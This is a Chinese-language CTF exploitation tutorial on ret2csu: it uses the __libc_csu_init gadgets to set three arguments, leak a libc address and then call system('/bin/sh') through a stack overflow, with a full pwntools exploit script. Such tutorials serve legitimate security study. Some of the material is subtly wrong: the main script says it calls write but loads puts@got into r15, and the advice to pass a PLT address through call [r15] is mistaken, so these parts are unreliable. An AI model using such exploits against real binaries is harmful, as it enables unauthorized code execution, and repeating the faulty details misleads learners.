ret2csu基础
ret2csu基础
本文适合
已经理解 ROP基础,但在小二进制里找不到完整 pop rdi/rsi/rdx gadget 的 Pwn 学习者。学完你能:识别 __libc_csu_init 两段 gadget,按 rbx/rbp/r12-r15 约束构造一次三参数函数调用,并处理 call 后的栈副作用
ret2csu 是利用 ELF 程序中 __libc_csu_init 附近的通用 gadget 来设置函数参数并调用函数。它常用于缺少简单 pop rdi; ret、pop rsi; ret、pop rdx; ret gadget 的情况。
为什么会有 csu
很多 ELF 程序中会包含启动和初始化相关代码。
__libc_csu_init 里常有一组连续的寄存器恢复和间接调用指令。
这些指令本来用于初始化函数调用,但攻击者可以把它们当作 ROP gadget 使用。
ret2csu 解决什么问题
64 位 Linux 调用函数时,参数通常放在寄存器:
rdi
rsi
rdx如果二进制里没有足够的 pop gadget,普通 ROP 很难设置参数。
ret2csu 可以借助 csu gadget 间接控制多个寄存器。
典型结构
常见 csu gadget 分两段:
第一段弹出多个寄存器。
第二段把部分寄存器移动到参数寄存器,并调用一个地址表中的函数指针。
利用时要同时满足循环条件、调用地址和参数设置。
这比普通 pop rdi; ret 更绕,但在 gadget 稀缺时很有价值。
常见用途
调用 read 往 .bss 写第二阶段 payload。
调用 write 泄露 GOT 地址。
调用任意函数指针完成信息泄露或栈迁移。
ret2csu 常常是多阶段利用的第一段。
__libc_csu_init 的两段 gadget
在 x86-64 程序中,__libc_csu_init 通常包含两段可用的 gadget。
gadget1(pop 段) — 位于函数尾部,典型偏移:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retgadget2(call 段) — 紧随其后:
mov rdx, r14 ; 第三个参数
mov rsi, r13 ; 第二个参数
mov edi, r12d ; 第一个参数(注意是 edi,低32位)
call [r15 + rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_xxx
; 之后继续执行 pop rbx ... 的循环利用时的关键约束:rbx 必须为 0,rbp 必须为 1,这样 call 之后 add rbx, 1; cmp rbp, rbx 才能相等,程序继续正常执行到下一个 ret。
实际 gadget 地址查找
用 ROPgadget 工具在二进制中查找:
ROPgadget --binary ./vuln --only "pop|ret" | grep rbx
# 如果缺少 pop rdi; ret 等 gadget,就需要 ret2csu
ROPgadget --binary ./vuln --only "mov|ret"
# 找 gadget2 中的 mov rdx, r14 等指令用 pwntools 的 ROP 类自动搜索:
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
# 如果以下调用报错,说明缺少直接的 pop gadget
# rop.call('puts', [elf.got['puts']])
# 此时需要手动构造 ret2csu完整 exploit 示例
假设目标:调用 write(1, got_addr, 8) 泄露 GOT 中 puts 的地址,然后 ret2libc 获取 shell。
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = remote('challenge.example.com', 10000)
# ---- 手动查找 gadget 偏移 ----
# 在 __libc_csu_init 中找到的实际地址(需根据二进制调整)
csu_pop = 0x40089a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_call = 0x400880 # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]
got_puts = elf.got['puts']
plt_write = elf.plt['write'] # 或者用 GOT 表中已解析的地址
bss_addr = elf.bss() + 0x200
# ---- 第一阶段:泄露 GOT ----
payload = b'A' * 72 # padding 到 saved rbp
# ret2csu: 调用 write(1, got_puts, 8)
payload += p64(csu_pop)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1(保证 cmp 通过)
payload += p64(1) # r12 -> edi = 1 (stdout fd)
payload += p64(got_puts) # r13 -> rsi = got_puts
payload += p64(8) # r14 -> rdx = 8
payload += p64(got_puts) # r15 -> call [r15+rbx*8] = call [got_puts]
# 注意:这里 call 的是 GOT 中的函数指针
# 如果 GOT 中 write 未解析,需改用 PLT
payload += p64(csu_call)
# call 返回后会继续执行 7 个 pop + ret,需要填充
payload += b'B' * 56 # 7 * 8 字节的 padding
# 然后返回到 main 或 vuln 函数,进行第二阶段
payload += p64(elf.symbols['main'])
p.sendafter(b'input:', payload)
# ---- 接收泄露 ----
p.recvuntil(b'\n')
leaked = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'Leaked puts@libc: {hex(leaked)}')
# ---- 计算 libc 基址 ----
libc_base = leaked - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = 0x4008a3 # 需要从二进制中找一个 pop rdi; ret
# ---- 第二阶段:ret2libc ----
payload2 = b'A' * 72
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
p.sendafter(b'input:', payload2)
p.interactive()ret2csu 调用 PLT vs GOT 的区别
上面示例中 call [r15+rbx*8] 是间接调用。有两种常见用法:
- 通过 GOT 调用:
r15填 GOT 表项地址,程序直接调用已解析的函数地址。前提是目标函数已经被调用过一次(GOT 已解析)。 - 通过 PLT 调用:
r15填 PLT 表项地址,call [r15]会触发 PLT 跳转,不需要 GOT 已解析。
如果 GOT 未解析但 PLT 存在,优先用 PLT 地址。
r12 与 edi 的注意点
gadget2 中是 mov edi, r12d,只取 r12 的低 32 位写入 edi。
这意味着如果目标地址(如 GOT 地址)高于 0xFFFFFFFF,就无法通过 r12 传入。在 64 位用户空间中,地址通常在 0x00007f... 范围内,低 32 位可能截断高位。需要确认目标地址的低 32 位是否唯一。
常见误区
- 以为 ret2csu 是固定 payload,不理解寄存器约束。
- 忘记第二段 gadget 有循环或比较条件。
- 调用地址选择错误。
- 不清楚被调用函数的参数对应关系。
- 有简单 gadget 时仍然强行 ret2csu。
一句话判断
当 x86-64 ELF 可控返回地址,但二进制里缺少 pop rdi; ret、pop rsi; ret、pop rdx; ret 这类基础 gadget 时,优先检查能否 ret2csu。
ret2csu 是用启动代码里的通用初始化 gadget,完成一次受约束的三参数函数调用。
题目中常见信号
- 小二进制、静态函数少,ROPgadget 找不到足够 pop gadget。
- 需要调用
write(1, got, 8)泄露地址。 - 需要调用
read(0, bss, size)写入第二阶段。 - 反汇编里能找到
pop rbx; pop rbp; pop r12; ... pop r15; ret。 - 附近有
mov rdx, r14; mov rsi, r13; mov edi, r12d; call [r15+rbx*8]。
核心概念
ret2csu 的固定约束:
rbx = 0
rbp = 1
r12 -> edi 第 1 参数,注意只取低 32 位
r13 -> rsi 第 2 参数
r14 -> rdx 第 3 参数
r15 -> 被 call 的函数指针表基址第二段 gadget 调用后会继续执行循环收尾和多次 pop,payload 必须给这些副作用留 padding。
最小分析流程
ROPgadget --binary ./vuln | rg "pop rbx|pop r15"找 pop 段。objdump -d ./vuln | rg -n "mov.*r14|call.*r15"找 call 段。- 确认目标函数地址能通过
[r15 + rbx*8]间接调用。 - 设置
rbx=0, rbp=1让循环只执行一次。 - 把参数放进
r12/r13/r14。 - call 后补齐 7 个 8 字节左右的栈清理 padding。
- 返回 main、vuln 或第二阶段栈迁移目标。
最小验证示例
查找 gadget:
ROPgadget --binary ./vuln --only "pop|ret" | rg "rbx|r15"
objdump -d ./vuln | rg "mov.*%r14|call.*%r15"构造一次 write(1, puts@got, 8):
payload = flat(
b"A" * offset,
csu_pop,
0, 1,
1,
elf.got["puts"],
8,
elf.got["write"],
csu_call,
b"B" * 56,
elf.symbols["main"],
)成功标准:输出 8 字节泄露,程序没有卡在 csu 循环或因 padding 不足崩溃。
常见利用 / 解题路线
路线总览:
路线一:ret2csu 泄露 libc
用 write 或 puts 泄露 GOT,再回到 ELF、PLT、GOT与libc 的 ret2libc。
路线二:ret2csu 写第二阶段
调用 read(0, .bss, 0x400),再配合 栈迁移 执行完整 ROP。
路线三:调用题目内函数
有些题需要给 win(a,b,c) 三个参数,ret2csu 可一次设置。
路线四:ret2csu + ORW
如果 syscall gadget 不足,但 PLT 中有 open/read/write,可用 ret2csu 组织 ORW。
常见失败原因
rbp/rbx条件错:call 后进入循环,控制流跑飞。- 把函数地址和函数指针地址混淆:
call [r15+rbx*8]需要的是可解引用位置。 r12d截断:第一个参数只进入edi,高 32 位会丢。- call 后 padding 不够:第二段收尾的 pop 会吃掉后续地址。
- GOT 尚未解析:通过 GOT 调用未解析函数时可能跳错,必要时用 PLT 或已调用函数。
- 明明有简单 gadget 还强行使用:增加复杂度和失败点。
迷你案例
小 ELF 只有栈溢出,没有 pop rdx; ret。目标是泄露 puts@got。
payload:
padding
csu_pop
rbx=0, rbp=1, r12=1, r13=puts@got, r14=8, r15=write@got
csu_call
padding for pops
main输出 8 字节后计算 libc base,再用 libc 中的普通 gadget 做第二阶段 system("/bin/sh")。WP 要写清 r12/r13/r14 分别对应哪个参数。